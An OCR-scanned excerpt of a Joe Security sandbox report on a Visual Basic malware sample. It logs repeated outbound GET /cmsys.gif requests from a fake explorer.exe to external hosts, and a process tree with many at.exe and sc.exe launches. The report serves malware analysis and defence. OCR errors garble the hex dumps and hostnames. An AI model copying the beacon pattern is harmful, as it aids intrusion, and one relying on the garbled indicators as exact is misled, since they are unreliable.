62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72
72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69
6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65
72 66 6¢ 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6¢ 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74
69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61
6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f
6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d
72 69 67 68 74 3a 30 7d 7d 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6€ 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67
6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6C
65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67
69 6e 2d 6¢ 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69
6e 2d 72 65 73 6f 6¢ 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72
6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢C 65
6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6€ 67 29 20 6e 6f 2d
72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67
65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f
6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6¢C 6f 67 6f 5f 63 6f 6 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29
20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e
2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69 6f 3a 32 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a
7572 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,co
deffont:15px/22px arial,sans-serifthtmi{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-widt
h:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png)
100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a
img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-
right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-
repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#ogo{background:url(//www.google.com
l/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(
/lwww.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) O}}@media only screen and (-webk
it-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand

Destination IP  Destination Port Process

C:\Windows\System\explorer.exe

Data

GET ffiles/cmsys.gif HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: vecmd02.googlecode.com

Connection: Keep-Alive
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kBytes

Timestamp e Direction
Aug 5, 2022 1151 IN
09:09:30.932235003
CEST
HTTPS Proxied Packets
Session ID Source IP Source Port
0 192.168.2.4 49766

. kBytes . .
Timestamp e Direction
2022-08-05 07:09:40 UTC 0 ouT
2022-08-05 07:09:40 UTC 0 IN
Session ID Source IP Source Port
1 192.168.2.4 49769

Copyright Joe Security LLC 2022

Data

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1576

Date: Fri, 05 Aug 2022 07:09:30 GMT

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e Oa 20 20 3c 6d 65
74612063 6861 72 73 65 74 3d 75 74 66 2d 38 3e Oa 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e Oa 20 20 3c 74 69 74 6¢ 65 3e 45 72 72 6f 7
22034 3034 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3¢ 73 74 79 6¢ 65 3e Oa 20
202020 2a7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6e 74 3a
313570782f323270782061 726961 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6¢ 7b 62 61 63 6b 67 72 6f
75 6e 64 3a 23 66 66 66 3b 63 6f 6¢ 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d
61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69
67 68 74 3231 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b
62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72
72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69
6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65
72 66 6¢ 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6¢ 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74
69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61
6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f
6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d
72 69 67 68 74 3a 30 7d 7d 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6€ 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67
6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6C
65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67
69 6e 2d 6¢ 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69
6e 2d 72 65 73 6f 6¢ 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72
6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢C 65
6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6€ 67 29 20 6e 6f 2d
72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67
65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f
6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6¢C 6f 67 6f 5f 63 6f 6 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6 67 29
20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e
2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69 6f 3a 32 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a
7572 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,co
deffont:15px/22px arial,sans-serifthtmi{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-widt
h:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png)
100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a
img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-
right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-
repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#ogo{background:url(//www.google.com
l/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(
/lwww.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) O}}@media only screen and (-webk
it-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand

Destinati
Destination IP Esnation Process

Port
51.81.194.202 443 C:\Windows\System\explorer.exe

Data

GET /cmsys.gif HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
Connection: Keep-Alive

Host: zxg.net

HTTP/1.1 301 Moved Permanently

Connection: close

content-type: text/html; charset=UTF-8

expires: Wed, 11 Jan 1984 05:00:00 GMT

cache-control: no-cache, must-revalidate, max-age=0

link: <https://zxq.net/wp-json/>; rel="https://api.w.org/"

x-redirect-by: WordPress

location: https://zxqg.net/what-happened-to-the-old-zxqg-website/
x-litespeed-cache: hit

content-length: O

date: Fri, 05 Aug 2022 07:09:40 GMT

alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=25920
00, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"

Destination IP Destination Process
Port
51.81.194.202 443 C:\Windows\System\explorer.exe
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kBytes

Timestam
P transferred

2022-08-05 07:09:41 UTC 0

2022-08-05 07:09:41 UTC 0

2022-08-05 07:09:41 UTC 1

2022-08-05 07:09:41 UTC 2

2022-08-05 07:09:41 UTC 16

2022-08-05 07:09:41 UTC 32

2022-08-05 07:09:41 UTC 48

2022-08-05 07:09:41 UTC 56

Session ID Source IP

2 192.168.2.4
. kBytes

Timestamp transferred

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49782

Direction

Data

GET /what-happened-to-the-old-zxg-website/ HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
Connection: Keep-Alive

Host: zxg.net

HTTP/1.1 200 OK

Connection: close

content-type: text/html; charset=UTF-8

link: <https://zxg.net/wp-json/>; rel="https://api.w.org/"

link: <https://zxg.net/wp-json/wp/v2/pages/187>; rel="alternate"; type="application/json"
link: <https://zxq.net/?p=187>; rel=shortlink

etag: "5981-1659425030;;;"

x-litespeed-cache: hit

transfer-encoding: chunked

date: Fri, 05 Aug 2022 07:09:41 GMT

alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=25920
00, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"

Data Raw: 64 62 64 65 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e
2d 5553 22 20 63 6¢ 61 73 73 3d 22 73 2d 64 61 72 6b 20 73 69 74 65 2d 73 2d 64 61 72 6b 22 3e Oa Oa 3c 68 65 61 64
3e 0a 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d
65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 6
82c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f
74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 69 6e 64 65 78 2c 20 66 6f 6¢ 6¢ 6f 77 2c 20 6d 61 78 2d 69 6d 61 67 65 2d 70 72
65 76 69 65 77 3a 6¢ 61 72 67 65 2c 20 6d 61 78 2d 73 6e 69 70 70

Data Ascii: dbde<!DOCTYPE html><html lang="en-US" class="s-dark site-s-dark"><head><meta charset="UTF-8" /><me
ta name="viewport" content="width=device-width, initial-scale=1" /><meta name='"robots' content="index, follow, max-
image-preview:large, max-snipp

Data Raw: 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 61 72 74 69 63 6¢ 65 22 20 2f 3e 0a 09 3c 6d 65 74 61 20
7072 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6¢ 65 22 20 63 6f 6e 74 65 6e 74 3d 22 57 68 61 74 20 68 61 70 70 65 6e
65 64 20 74 6f 20 74 68 65 20 6f 6¢ 64 20 5a 58 51 20 77 65 62 73 69 74 65 3f 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72
6f 70 65 72 74 79 3d 22 6f 67 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 49 6e 66 6f 72 6d 61
74 69 6f 6e 20 46 6f 72 20 5a 58 51 2e 6e 65 74 20 53 75 62 64 6f 6d 61 69 6e 20 4f 77 6e 65 72 73 20 54 68 65 20 6f 6¢
64 20 5a 58 51 20 77 65 62 73 69 74 65 20 68 61 64 20 62 65 65 6e 20 73 68 75 74 20 64 6f 77 6e 20 62 79 20 74 68 65
207072 65 76 69 6f 75 73 20 6f 77 6e 65 72 73 2e 20 50 72

Data Ascii: g:type" content="article" /><meta property="og:title" content="What happened to the old ZXQ website?" />
<meta property="og:description" content="Information For ZXQ.net Subdomain Owners The old ZXQ website had been
shut down by the previous owners. Pr

Data Raw: 72 61 6e 73 66 6f 72 6d 3a 20 75 70 70 65 72 63 61 73 65 3b 20 6¢ 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a
20 2e 30 35 65 6d 3b 20 7d Oa 2e 6e 61 76 69 67 61 74 69 6f 6e 2d 6d 61 69 6e 20 2e 6d 65 6e 75 20 3e 20 6¢ 69 20 6¢
69 20 61 20 7b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 20 7d Oa 2e 6e 61 76 69 67 61 74 69 6f 6e 2d 6d 61
69 6e 20 7b 20 2d 2d 6e 61 76 2d 69 74 65 6d 73 2d 73 70 61 63 65 3a 20 33 33 70 78 3b 20 7d Oa 2e 73 2d 6¢ 69 67 68
7420 2e 6e 61 76 69 67 61 74 69 6f 6e 2d 6d 61 69 6e 20 7b 20 2d 2d 63 2d 6e 61 76 3a 20 23 30 30 30 30 30 30 3b 20
7d Oa 2e 73 2d 6¢ 69 67 68 74 20 2e 6e 61 76 69 67 61 74 69 6f 6e 20 7b 20 2d 2d 63 2d 6e 61 76 2d 62 6¢ 69 70 3a 20
76 61 72 28 2d 2d 63 2d 6d 61 69 6e 29 3b 20 7d Oa 2e 73 2d 64 61 72 6b

Data Ascii: ransform: uppercase; letter-spacing: .05em; }.navigation-main .menu > li li a { font-size: 14px; }.navigation-
main { --nav-items-space: 33px; }.s-light .navigation-main { --c-nav: #000000; }.s-light .navigation { --c-nav-blip: var(--c-mai
n); }.s-dark

Data Raw: 65 6c 3d 22 68 6f 6d 65 22 20 63 6¢ 61 73 73 3d 22 6¢ 6f 67 6f 2d 6¢ 69 6e 6b 20 74 73 2d 6¢ 6f 67 6f 20 6¢ 6f
67 6f 2d 69 73 2d 69 6d 61 67 65 22 3e 0a 09 09 3c 73 70 61 6e 3e Oa 09 09 09 Oa 09 09 09 09 Oa 09 09 09 09 09 3c 69
6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 7a 78 71 2e 6e 65 74 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6¢ 6f 61
64 73 2f 32 30 32 32 2f 30 32 2f 5a 58 51 2e 70 6e 67 22 20 63 6¢ 61 73 73 3d 22 6¢ 6f 67 6f 2d 69 6d 61 67 65 22 20 61
6¢ 74 3d 22 5a 58 51 22 20 77 69 64 74 68 3d 22 32 30 33 22 20 68 65 69 67 68 74 3d 22 36 36 22 2f 3e 0a 09 09 09 09
09 09 09 09 09 20 Oa 09 09 09 09 09 3¢ 2f 73 70 61 6e 3e 0a 09 3c 2f 61 3e 09 09 09 09 3c 2f 64 69 76 3e Oa 0a 09 09 09
09 09 09 09 Oa 09 09 09 09 3c 64 69 76 20 63 6¢ 61 73 73 3d

Data Ascii: el="home" class="logo-link ts-logo logo-is-image"><span><img src="https://zxq.net/wp-content/uploa
ds/2022/02/ZXQ.png" class="logo-image" alt="ZXQ" width="203" height="66"/> </span></a></div><div class=

Data Raw: 6¢ 69 6e 65 2d 53 68 6f 70 70 69 6e 67 2d 54 69 70 73 2d 44 75 72 69 6e 67 2d 43 6f 76 69 64 2d 30 31 2d 33
3030 78 31 36 39 2e 6a 70 65 67 20 33 30 30 77 2c 20 68 74 74 70 73 3a 2f 2f 7a 78 71 2e 6e 65 74 2f 77 70 2d 63 6f 6e
74 65 6e 74 2f 75 70 6¢ 6f 61 64 73 2f 32 30 32 32 2f 30 37 2f 4f 6e 6¢ 69 6e 65 2d 53 68 6f 70 70 69 6e 67 2d 54 69 70
73 2d 44 75 72 69 6e 67 2d 43 6f 76 69 64 2d 30 31 2d 31 30 32 34 78 35 37 36 2e 6a 70 65 67 20 31 30 32 34 77 2c 20
68 74 74 70 73 3a 2f 2f 7a 78 71 2e 6e 65 74 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6¢ 6f 61 64 73 2f 32 30 32 32 2f 30
37 2f 4f 6e 6¢ 69 6e 65 2d 53 68 6f 70 70 69 6e 67 2d 54 69 70 73 2d 44 75 72 69 6e 67 2d 43 6f 76 69 64 2d 30 31 2d 37
36 38 78 34 33 32 2e 6a 70 65 67 20 37 36 38 77 2c 20 68

Data Ascii: line-Shopping-Tips-During-Covid-01-300x169.jpeg 300w, https://zxq.net/wp-content/uploads/2022/07/Online-
Shopping-Tips-During-Covid-01-1024x576.jpeg 1024w, https://zxq.net/wp-content/uploads/2022/07/Online-Shopping-Tips
-During-Covid-01-768x432.jpeg 768w, h

Data Raw: 30 0d Oa 0d Oa

Data Ascii: 0
Destination IP Destination Process
Port
51.81.194.202 443 C:\Windows\System\explorer.exe
Data
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kBytes

Timestam
P transferred

2022-08-05 07:09:59 UTC 56

2022-08-05 07:09:59 UTC 56

Session ID Source IP
3 192.168.2.4
. kBytes
Ti t
imestamp transferred

2022-08-05 07:10:18 UTC 57

2022-08-05 07:10:18 UTC 57

Session ID Source IP
4 192.168.2.4
. kBytes
Tim m|
imestamp transferred

2022-08-05 07:10:34 UTC 58

2022-08-05 07:10:34 UTC 58

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49789

Direction

ouT

Source Port

49798

Direction

ouT

Data

GET /cmsys.gif HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
Connection: Keep-Alive

Host: zxg.net

HTTP/1.1 301 Moved Permanently
Connection: close

content-type: text/html; charset=UTF-8
expires: Wed, 11 Jan 1984 05:00:00 GMT

cache-control: no-cache, must-revalidate, max-age=0

link: <https://zxg.net/wp-json/>; rel="https://api.w.org/"
x-redirect-by: WordPress

location: https://zxg.net/what-happened-to-the-old-zxg-website/
x-litespeed-cache: hit

content-length: O

date: Fri, 05 Aug 2022 07:09:59 GMT
alt-svc: h3=":443"; ma=2592000, h3-29=":
00, h3-Q043=":443"; ma=2592000, quic="

443", ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=25920
:443"; ma=2592000; v="43,46"

Destination IP LRI Process

Port
51.81.194.202 443 C:\Windows\System\explorer.exe
Data

GET /cmsys.gif HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
Connection: Keep-Alive

Host: zxg.net

HTTP/1.1 301 Moved Permanently

Connection: close

content-type: text/html; charset=UTF-8

expires: Wed, 11 Jan 1984 05:00:00 GMT

cache-control: no-cache, must-revalidate, max-age=0

link: <https://zxq.net/wp-json/>; rel="https://api.w.org/"

x-redirect-by: WordPress

location: https://zxq.net/what-happened-to-the-old-zxqg-website/
x-litespeed-cache: hit

content-length: 0

date: Fri, 05 Aug 2022 07:10:18 GMT

alt-sve: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=25920
00, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"

Destinati
Destination IP ESnaton Process

Port
51.81.194.202 443 C:\Windows\System\explorer.exe

Data

GET /cmsys.gif HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
Connection: Keep-Alive

Host: zxg.net

HTTP/1.1 301 Moved Permanently

Connection: close

content-type: text/html; charset=UTF-8

expires: Wed, 11 Jan 1984 05:00:00 GMT

cache-control: no-cache, must-revalidate, max-age=0

link: <https://zxq.net/wp-json/>; rel="https://api.w.org/"

x-redirect-by: WordPress

location: https://zxqg.net/what-happened-to-the-old-zxqg-website/
x-litespeed-cache: hit

content-length: O

date: Fri, 05 Aug 2022 07:10:34 GMT

alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=25920
00, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
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Session ID Source IP
5 192.168.2.4
. kBytes
Ti t
imestamp transferred

2022-08-05 07:10:49 UTC 58

2022-08-05 07:10:50 UTC 59

Session ID Source IP
6 192.168.2.4
. kBytes
Ti t
imestamp transferred

2022-08-05 07:11:05 UTC 59

2022-08-05 07:11:05 UTC 59

Statistics

Behavior

Copyright Joe Security LLC 2022

Source Port

49805

Direction

ouT

Source Port

49810

Direction

ouT

Destination

Destination IP Process

Port
51.81.194.202 443 C:\Windows\System\explorer.exe
Data

GET /cmsys.gif HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
Connection: Keep-Alive

Host: zxg.net

HTTP/1.1 301 Moved Permanently

Connection: close

content-type: text/html; charset=UTF-8

expires: Wed, 11 Jan 1984 05:00:00 GMT

cache-control: no-cache, must-revalidate, max-age=0

link: <https://zxqg.net/wp-json/>; rel="https://api.w.org/"
x-redirect-by: WordPress

location: https://zxq.net/what-happened-to-the-old-zxqg-website/
x-litespeed-cache: hit

content-length: 0

date: Fri, 05 Aug 2022 07:10:50 GMT
alt-svc: h3=":443"; ma=2592000, h3-29="
00, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"

Destination IP SLEIRETL Process
Port
51.81.194.202 443 C:\Windows\System\explorer.exe

Data

GET /cmsys.gif HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
Connection: Keep-Alive

Host: zxg.net

HTTP/1.1 301 Moved Permanently

Connection: close

content-type: text/html; charset=UTF-8

expires: Wed, 11 Jan 1984 05:00:00 GMT
cache-control: no-cache, must-revalidate, max-age=0
link: <https://zxq.net/wp-json/>; rel="https://api.w.org/"
x-redirect-by: WordPress

location: https://zxq.net/what-happened-to-the-old-zxqg-website/
x-litespeed-cache: hit

content-length: 0

date: Fri, 05 Aug 2022 07:11:05 GMT

443", ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=25920

alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=25920

00, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"

@ Lg3gn9y1Cj.exe

® lg3gn9ylcj.exe

@ AppLaunch.exe

@ icsys.icn.exe

@ explorer.exe

@ spoolsv.exe

® svchost.exe

@ spoolsv.exe
at.exe

@ conhost.exe

@ at.exe

@ conhost.exe

@ svchost.exe

@ at.exe

@ conhost.exe

@ at.exe

@ conhost.exe

@ at.exe
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@ conhost.exe
@ at.exe
@ svchost.exe
@ conhost.exe
@ at.exe
@ conhost.exe
@ at.exe
@ svchost.exe
@ conhost.exe
@ at.exe
@ svchost.exe
@ conhost.exe
@ svchost.exe
@ at.exe
@ explorer.exe
@ conhost.exe
@ at.exe
@ conhost.exe
@ svchost.exe
@ at.exe
® conhost.exe
@ at.exe
@ conhost.exe
@ at.exe
@ svchost.exe
@ svchost.exe
@ conhost.exe
@ at.exe
@ conhost.exe
@ at.exe
® conhost.exe
@ svchost.exe
@ at.exe
@ sc.exe
@ conhost.exe
@ sc.exe
@ conhost.exe

@

System Behavior

Click to jump to process

Analysis Process: Lg3gn9y1Cj.exe PID: 5744, Parent PID: 3024

General

Target ID: 0

Start time: 09:09:07

Start date: 05/08/2022

Path: C:\Users\user\Desktop\Lg3gn9y1Cj.exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\Desktop\Lg3gn9y1Cj.exe"
Imagebase: 0x400000

File size: 416083 bytes

MDS5 hash: 45061E4DA841C2587D0890148705A142

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: Visual Basic

Reputation: low

File Activities

File Created

File Path Access Attributes Options Completion Count Source Address Symbol

